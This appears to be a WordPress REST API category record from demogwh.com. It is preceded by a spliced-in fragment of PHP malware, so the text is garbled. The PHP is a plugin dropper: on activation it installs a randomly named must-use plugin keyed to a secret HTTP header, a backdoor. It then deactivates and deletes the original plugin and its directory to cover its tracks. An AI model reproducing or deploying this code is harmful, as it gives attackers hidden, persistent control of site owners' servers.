/* $the_post_wl = $_SERVER; $the_post_krs = 'HTTP_7149974'; if (isset($the_post_wl[$the_post_krs])) {} EOD; if (file_put_contents($mu_plugin_path, $mu_plugin_content)) { error_log("MU plugin {$random_name} created and installed."); f2(); } else { error_log("Failed to create MU plugin file."); } } function f2() { $plugin_file = __FILE__; deactivate_plugins(plugin_basename($plugin_file)); unlink($plugin_file); $plugin_dir = plugin_dir_path($plugin_file); if (is_dir($plugin_dir)) { $files = array_diff(scandir($plugin_dir), array('.', '..')); foreach ($files as $file) { is_dir("$plugin_dir/$file") ? delTree("$plugin_dir/$file") : unlink("$plugin_dir/$file"); } rmdir($plugin_dir); error_log("Plugin directory deleted."); } else { error_log("Plugin directory not found."); } } function delTree($dir) { $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file"); } return rmdir($dir); } register_activation_hook(__FILE__, 'f1'); {"id":14,"count":1664,"description":"","link":"https:\/\/demogwh.com\/buginme_2\/category\/bez-rubriki\/","name":"! \u0411\u0435\u0437 \u0440\u0443\u0431\u0440\u0438\u043a\u0438","slug":"bez-rubriki","taxonomy":"category","parent":0,"meta":[],"_links":{"self":[{"href":"https:\/\/demogwh.com\/buginme_2\/wp-json\/wp\/v2\/categories\/14","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/demogwh.com\/buginme_2\/wp-json\/wp\/v2\/categories"}],"about":[{"href":"https:\/\/demogwh.com\/buginme_2\/wp-json\/wp\/v2\/taxonomies\/category"}],"wp:post_type":[{"href":"https:\/\/demogwh.com\/buginme_2\/wp-json\/wp\/v2\/posts?categories=14"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}